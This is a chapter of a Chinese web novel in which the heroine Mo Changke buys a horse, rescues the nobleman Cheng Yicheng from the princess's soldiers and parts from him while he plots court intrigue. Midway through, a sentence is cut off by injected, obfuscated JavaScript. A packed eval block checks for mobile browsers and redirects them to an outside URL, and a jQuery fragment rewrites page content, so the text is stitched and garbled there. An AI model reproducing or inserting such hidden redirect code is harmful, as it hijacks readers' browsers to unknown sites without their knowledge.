在驴车的摇摇晃晃中,俩人抵达了桐庐县。
暮色渐晚,大片的火烧云在天空晕开,泛着橙色的光晕洒在人们的脸上。
她撑手跳下驴车,饶有兴致地打量着比起村中更加繁华热闹的镇子,街道上漫起人烟,胭脂铺前的珠帘随风晃动,女子们络绎不绝地走近店内。
一旁的绸缎庄,伙计正散开一匹天青锦缎,在日光的照耀下流光溢彩。
莫长坷向柳叔询问卖马的位置后,就与他在镇子分开,柳叔牵着驴车去打听这边民宅的出租,她则在小镇转悠起来。
就近走到街边的酒楼坐下,刚入坐就听到跑堂少年清亮的声音:“客官——刚出炉的牛肉烧卖来了。”
吃过午饭的莫长坷不受控制地点了份蟹黄汤包和桂花甜酒,蟹黄的鲜香混挟着肉汁在味蕾炸开,让她享受地眯起眼。
女人拿起酒盏浅浅抿了抿,品咂一番味道后一口吞下。
吃得心满意足的莫长坷撑着头,听起酒楼的说书人在桌前夸夸其谈。
正说道北方起义军势如破竹,一下连攻五城,而朝廷一边对这帮流民组成的军队不屑一顾,一边又紧急在各地征兵加税。
她余光撇到斜对面的客栈,三个身形挺拔的男人出现在视野间,三人行动间整齐有序,手掌虎口处遍布厚茧,落脚时每每都是前脚掌先落地,布鞋同时发生轻微的摩擦声。
莫长坷看着几人腰间和破庙众人一样的虎纹长刀,放下酒盏,心中施施然地想着,这群人学聪明了,终于知道换鞋了。
她看向自己换上的一身藏青长衫,头上也用剩下的布料扎起,满意地点点头,仇人见面不相识,对大家都算幸运。
这些人,是来搜查破庙中逃走的那位程家公子还是有其他任务?
她心念一动,放下酒水钱,默默尾随在三人身后。三人在镇子中看似漫无目的地乱晃,实则在各处打探,莫长坷看到男人对着商家拿出画像,果然是破庙内受伤的人。
她放缓脚步,不再继续跟随几人,反而转身走向西市。日落黄昏,马匹在夕阳最后的余韵下淬着层金光,莫长坷的右手划过第五匹马的背脊,冲着身后蓄虬髯的胡商点头:“就这个吧。“
胡商连忙上前打开铁笼,牵出通体雪白的骏马,他笑着牵马凑到女人面前:“姑娘好眼力,这是万里挑一的千里马,不仅可日行千里。。。“
莫长坷摆摆手,示意男人不用多说,询问好价格后,她直截了当地拿出了银子,又扫过一旁的马具,对马商问道:“这马鞍和马鞭是不是能一并送我?“
马商收下钱,喜滋滋地为马套上马鞍,又将鞭子递给她道:“没问题,姑娘一路顺风。“
莫长坷牵着买来的白马,在街上闲庭漫步,偶然闻到巷尾飘过一阵香甜,她寻味而来,金丝糖浆煮得谷谷冒泡,麦芽糖的甜密扑面而来,老人取出小壶盛满滚烫的糖浆,手腕翻转间,栩栩如生的糖画就浮现眼前。
她没忍住买了支游龙戏珠的糖画,边吃边走向桥边的算命摊子,槐荫下褪色的青布幌子垂着几个大字——摸骨算命,铁口直断。
斑驳的朱砂在青布上露出黑印,榆木卦桌前站着一位穿着淡蓝锦袍的公子,白玉的面庞正看向手中的木签,乌黑的长发用同色的发带系起。
没想到竟然会在这里再次偶遇,莫长坷停住脚步抱臂看向男子,微风拂动,如墨的青丝划过他的面庞。
对面街口正转来的一行三人正巧也撞上她的眼眸。莫长坷扫过还在摊前讲话,一无所觉的男子,不由得思考:逃命中还这么有闲情逸致?
算了,送佛送到西。
她快步上前,在众人来不及反应的瞬息,一把拉住男人的手腕,猛地将人拖到桥下。
程亦丞震惊地瞪大了双眼,脚步站稳后急忙抬头看向对面,待看清人后,微张的唇瓣化出一抹清浅的笑意,他轻声开口:“恩人,巧遇。“
是够巧的……
男人身边的侍从立马挥刀赶来,站在两人身旁,看着含笑的公子举棋不定。
程亦丞对着宋飞摇头:“这是我之前提过救下我的恩人,不得无礼。“
宋飞收起刀抱拳:“多谢——”
话未说完,莫长坷又握住长枪直接将人横揽进桥下,看着追查的人步伐逐渐走近,挑眉低声道:“算命师傅有告诉你现下还有此劫吗?“
宋飞神色警惕地握紧刀向外探去,程亦丞亦随之望见了配刀出行的三人,宋飞对着程亦丞颔首确认道:“长公主的私兵。“
程亦丞垂眸没有作答,反而看着手中的木签好似愣神,莫长坷扫过上面的字——上吉。
果然不准,她暗暗肯定道。
男子回神后看向莫长坷的眼睛:“又被恩人搭救,看来签文所言不虚。“
莫长坷心中轻哼没有接话,视线扫视一圈,最终落在男人崭新的华贵荷包上。
程亦丞随着女人的视线看向自己的荷包,不禁抿唇,纤长白皙的手指解开腰间的荷包,双手递到莫长坷身边:“请恩人笑纳。“
莫长坷满意接过,又划过弱不禁风的某人道:“我叫莫长坷。“
自己所在的世界,自从出现畸变体“替身”后,很长一段时间人们都不敢再回应和提起自己的名字,生怕被听到后无知无觉地顶替掉身份。
她已经很久没有从人口中听过自己的名字了,只有冰冷的代号X。
程亦丞闻言一愣,从善如流地点头道:“莫姑娘武功高强,破庙一别后,至今难忘。”
他看着手持长枪、来历成谜又武功超群的女人,心中提起一丝忌惮,面上依旧一副真挚诚恳地道报出姓名。
他拿着木签指向卦前的白须老人:“我听道长夜观紫薇天相,眼见帝星晦暗而将星东耀,不知莫姑娘可愿做这昏昏天幕间的破军星?”
莫长坷盯着追杀男人的私兵从桥上走过,摆摆手,神色不变地拒绝道:“我的性格古怪,只劈腐木,难栖良枝。辜负程公子的好意了。”
程亦丞没在劝,再次看着转身离开的女子重复道:“江湖路远,后会有期。”
见着莫长坷牵马走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278978|198332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
远,宋飞对着程亦丞询问道:“公子,长公主的人怎么处理?“
程亦丞扔掉木签,面上云淡风轻道:“杀了,送回去。”
“那这位莫姑娘?“
程亦丞抬脚从桥下出来,对着宋飞淡声道:“你打不过她,算了,我不愿强人所难。“
“若她武功如此高深,万一将来投身敌营,岂不是一个心腹大患。”宋飞听见程亦承的评价大惊,他自认武功在同辈算是个中好手,没想到居然还未出手,公子就能断言两人的实力。
男子走到老道身旁,老者毕恭毕敬地递上一块玄铁令牌,程亦丞收起令牌,将怀里的蓝色试剂交给老者道:“仔细查看这药的成分和效用。”
他回想着见了两面的女子,含笑回应等在一旁的宋飞:“莫姑娘倘若投入敌营,或许会是我们的一大助力。”
宋飞不解,程亦丞看着男人困顿的脸叹了口气,没有继续解答:“走吧,去叫其他人整顿好,准备回程。”
宋飞抱拳称是,匆匆退下。
马车上程亦丞和老者端坐在内,另一个相同打扮的侍卫走上前,拿着莫长坷眼熟的长刀双手奉上:“公子,已经查明刺客手中的刀具,皆没有官家铭文,同类长刀模型均登记在库,没有缺失。眼下看来,似乎是私人铸造。”
老者盯着长刀,对着程亦丞问道;“是否要告知老爷,上朝时禀奏。“
“陛下对世家早已不满许久,若是我们奏上,就算他震怒也难保真会对长公主重惩。“程亦丞否决道,他拿过长刀眼神凝视着虎纹:“与虎谋皮无异于饮鸠止渴,既然陛下自认为和长姐同气连枝,想由此制衡双方势力,我们就让局势更加连上三分。三皇子已过弱冠,想必应该可以参与政论了。”
他随手将长刀还给宋临,吩咐道:“想办法让三皇子知晓长公主私铸兵器。”
宋临拿着刀迟疑道:“三皇子未必会将此事奏告圣上。”
老者摇摇头,敲了敲宋临的头:“怎么跟你弟弟一样的榆木脑袋。眼下陛下只有四位皇子,皇上最属意哪位?”
“大皇子病弱,终日卧病在床;三皇子的外祖是镇国将军,但皇上素来不喜淑贵妃,连带对三皇子也一般般;六皇子只有五岁,母亲也只是宫中不起眼的才人……”
蒋平桉捋须接话道:“唯有五皇子,母亲容妃深受陛下宠爱,还未成年就已贴身教导,甚至早年动过立太子的心思。你若是三皇子心中有何感想?“
“所以我们是要让等三皇子和长公主合作,然后再告发他们!“宋临恍然大悟。
程亦丞眼神淡淡撇过两人:“需要我再为你们招揽些听众吗?”
宋临讨好一笑,抱着刀迅速退下,老者掀开窗帘吩咐道:“启程。”
向南的马车徐徐行驶,而莫长坷此时骑在马上,颠着新得来的荷包,感叹着小财神来得及时,她拿起自己刚买到的粗略地图一路向北。
两道相交的线随着汇聚又分别,渐行渐远。
日升月落,旧的天幕落下,新的天幕不知何时升起。